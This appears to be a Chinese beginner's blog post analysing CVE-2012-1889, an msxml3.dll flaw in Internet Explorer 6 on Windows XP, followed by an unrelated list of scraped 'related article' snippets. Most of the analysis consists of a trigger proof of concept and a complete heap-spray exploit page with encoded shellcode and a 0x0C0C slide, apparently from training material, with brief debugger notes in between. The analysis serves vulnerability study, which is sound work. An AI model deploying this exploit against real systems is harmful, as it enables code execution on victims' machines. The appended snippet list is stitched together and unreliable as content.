作为第一次分析,从萌新的角度分析一下漏洞。
环境

windows xp sp3
ie 6
漏洞出现模块msxml3.dll


那么老xp版本还没有pie直接找这个地址就行,美滋滋。系统好像是延迟绑定的,在刚开始的时候这个模块并没有加载,让程序运行结束在ctl+g就能找到这个地址了。
触发脚本

<html>
<head><title>CVE 2012-1889 PoC v2 By:15PB.Com</title>
</head>
<body><object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object><script>// 获取名为15PB的对象,并将其保存到名为obj15PB实例中var obj15PB = document.getElementById('15PB').object;// 初始化数据变量srcImgPath的内容(unescape()是解码函数)var srcImgPath = unescape("\u0C0C\u0C0C");// 构建一个长度为0x1000[4096*2]字节的数据while (srcImgPath.length < 0x1000)srcImgPath += srcImgPath;// 构建一个长度为0x1000-10[4088*2]的数据,起始内容为“\\15PB_Com”srcImgPath = "\\\\15PB_Com" + srcImgPath;nLenth     = 0x1000-4-2-1; // 4=堆长度信息 2=堆结尾信息 1=0x00srcImgPath = srcImgPath.substr(0, nLenth);// 创建一个图片元素,并将图片源路径设为srcImgPathvar emtPic = document.createElement("img");emtPic.src = srcImgPath;emtPic.nameProp;       // 返回当前图片文件名(载入路径)obj15PB.definition(0); // 定义对象(触发溢出)</script>
</body>
</html>

出现的原因是取了ebp-0x14地址处的值。也就是说ebp-0x14处的值不符合常规,应该是一个栈的溢出。
为了分析具体原因用ida调了一下

在39行赋值出错
可以看到,如果是栈溢出只能是pvargDest产生了溢出,用od跟一下发现这个函数被执行了3次,在第三次开辟栈空间的时候会让栈顶指针移到输出的好多0xoc地址处。(也就意味着如果pvarg的赋值有问题的数就会造成这个漏洞)

在0x5dd8d732地址处对VARIANTARG pvarg; // [esp+FCh] [ebp-1Ch]初始化,看栈的空间
0x12E2B8位置处的值0x0c0c0c0c被这个函数修改为了0x0c0c0000
result = (*(int (__stdcall **)(int, int, _DWORD, signed int, VARIANTARG *, _DWORD))(v9 + 32))这个函数没有对&pvarg,这个结构更改
所以产生了溢出
查了一下VariantInit函数的定义
The VariantInit function initializes the VARIANTARG by setting the vt field to VT_EMPTY. Unlike VariantClear, this function does not interpret the current contents of the VARIANTARG. Use VariantInit to initialize new local variables of type VARIANTARG (or VARIANT).
找了一下这个 VARIANTARG结构的解释
https://docs.microsoft.com/en-us/windows/desktop/api/oaidl/ns-oaidl-tagvariant
好像是初始化失败了没有检验。有点蒙

<html>
<head><title>Step1_Trigger_DEP By:15PB.Com</title>
</head>
<body><object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object><script>// 1.  准备好Shellcode(unescape()是解码函数)var cShellcode = unescape("\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +"\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +"\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +"\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +"\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +"\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +"\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +"\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +"\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +"\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +"\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +"\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +"\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +"\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +"\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +"\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +"\uC25D\u0010\u0000");// 2.  制作一块滑板数据// 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)var nSlideSize      = 1024*1024 / 2;     // 一个滑板指令区的大小(1MB)var nMlcHadSize     = 32        / 2;     // 堆头部大小var nStrLenSize     = 4         / 2;     // 堆长度信息大小var nTerminatorSize = 2         / 2;     // 堆结尾符号大小var nScSize         = cShellcode.length; // Shellcode大小var nFillSize       = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;// 2.2 填充滑板指令,制作好一块填充数据var cFillData  = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C   OR AL,0Cvar cSlideData = new Array();              // 申请一个数组对象用于保存滑板数据while (cFillData.length <= nSlideSize)cFillData += cFillData;cFillData = cFillData.substring(0, nFillSize);// 3.  填充200MB的内存区域(申请200块1MB大小的滑板数据区),试图覆盖0x0C0C0C0C//     区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据//     正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区//     后面的Shellcode处,进而执行Shellcode。var cBlock = cFillData + cShellcode;for (var i = 0; i < 200; i++)cSlideData[i] = cBlock.substr(0, cBlock.length);// 4.  触发CVE 2012-1889漏洞// 4.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中var obj15PB = document.getElementById('15PB').object;// 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据var srcImgPath = unescape("\u0C0C\u0C0C");while (srcImgPath.length < 0x1000)srcImgPath += srcImgPath;srcImgPath = "\\\\15PB_Com" + srcImgPath;srcImgPath = srcImgPath.substr(0, 0x1000-10);// 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名var emtPic = document.createElement("img");emtPic.src = srcImgPath;emtPic.nameProp;// 4.4 定义对象obj15PB(触发溢出)obj15PB.definition(0);</script>
</body>
</html>

第一次漏洞分析(暴雷漏洞CVE-2012-1889)相关推荐

  1. 易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...

    刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...

  2. 漏洞分析:MS12-020漏洞

    漏洞分析:MS12-020漏洞 实验工具 1.VMware虚拟机 2.Kali 2021 系统虚拟机 3.Windows 7系统虚拟机 1.第一步:在VMware中打开Kali 2021虚拟机和Win ...

  3. 网络安全漏洞分析之重定向漏洞分析

    背景 本月初美国著名安全公司kryptowire在其网站上发布了一篇Blog,他们的安全工程师在某智能终端的某个应用上发现了一个高危漏洞. 通过该漏洞,终端上安装的恶意应用可以成功提权到system权 ...

  4. 0day安全:软件漏洞分析技术——系统内核漏洞

    本文是阅读<0day安全:软件漏洞分析技术>后的笔记.      内核漏洞主要的作用包括:远程任意代码执行,本地权限提升,远程拒绝服务攻击,本地拒绝服务攻击.从漏洞的利用来看,远程拒绝服务 ...

  5. linux漏洞分析,Spring-data-commons(CVE-2018-1273)漏洞分析

    前言 CVE-2018-1273 是 Spring-data-commons近期爆出的一个可远程执行代码的漏洞,为了了解更多细节,本文将从漏洞的成因,漏洞的判定以及漏洞的利用三个方面来进行详细说明. ...

  6. CVE-2012-1889(暴雷)漏洞分析

    1. 软件简介 IExplorer为微软公司开发的浏览器. Microsoft XML Core Services(MSXML)微软XML分析程序是一组用于用Jscript.VBScript.Micr ...

  7. 暴雷(CVE-2012-1889)漏洞分析报告

    软件名称:Microsoft Internet Explorer 软件版本:6.0/8.0 漏洞模块:msxml3.dll 模块版本: 编译日期:2022-07-06 操作系统:Windows XP/ ...

  8. Windows Server中的 WINS 服务器远程内存损坏漏洞分析

    本文讲的是Windows Server中的 WINS 服务器远程内存损坏漏洞分析, 漏洞概要 在2016年12月,FortiGuard Labs发现并报告了Microsoft Windows Serv ...

  9. thinkphp漏洞_【组件攻击链】ThinkCMF 高危漏洞分析与利用

    一.组件介绍 1.1 基本信息 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形 ...

最新文章

  1. Cell:无症状新冠患者阳性持续105天
  2. 语音助手们——功能未动,趣味先行
  3. 输出和为n的所有的连续自然数序列
  4. windows备份0x80070422错误解决方法
  5. 获取outlook 会议_如何仅在Microsoft Outlook中仅获取您关注的电子邮件的通知
  6. Docker Harbor 2.3.4 集群 双主复制高可用镜像仓库
  7. 详解 Qt 串口通信程序全程图文 (5)
  8. extjs_04_grid(弹出窗口amp;行编辑器 CRUD数据)
  9. Project testing plan
  10. 西安工程大学计算机是几本专业,2016年西安工程大学计算机科学与技术(卓越班)专业在陕西录取分数线...
  11. 2021-10-08梦笔记
  12. w7无法訪问计算机上硬盘分区,Win7/win10双系统无法打开磁盘分区提示拒绝访问怎么解决...
  13. python 经纬度 地址批量转换
  14. INFJ的人格成长阶段与功能类型
  15. 有 5 个人坐在一起,问第五个人多少岁?
  16. 诸多检测、实验让你自己判断转基因大豆油是否安全无害!
  17. 花别人一半时间学好编程!聪明人是怎么做到的?
  18. 监控摄像头的电源线安装方案
  19. 明星热图|高圆圆、颖儿、杨蓉等演绎服饰新品;张雨绮、刘嘉玲代言新品牌;李佳琦入选《时代》全球下一代百位影响力人物榜...
  20. 【图像隐写】DCT文本嵌入+提取【含GUI Matlab源码 1850期】

热门文章

  1. 读书会招募 | 勇气七日谈,一起在“讨厌”中寻找幸福的真谛
  2. DL645通信协议97/07规约
  3. grep、cut常见用法
  4. python的print输出居中对齐
  5. 1970-01-01是什么?为什么计算机起始时间是1970年1月1日
  6. 1970年计算的时间转日期
  7. QuartusII绑定引脚时出现错误:Error: Can‘t place multiple pins assigned to pin location Pin_108 (IOC_X34_Y2_N0)
  8. pdf文件两栏内容提取信息思路
  9. 金山系绕不开三件事:求伯君的爱情、雷军的人品,还有他的铁皮屋
  10. 苹果5概念机_iPhone 11概念图层出不穷!投影仪+平行三摄,不同以往!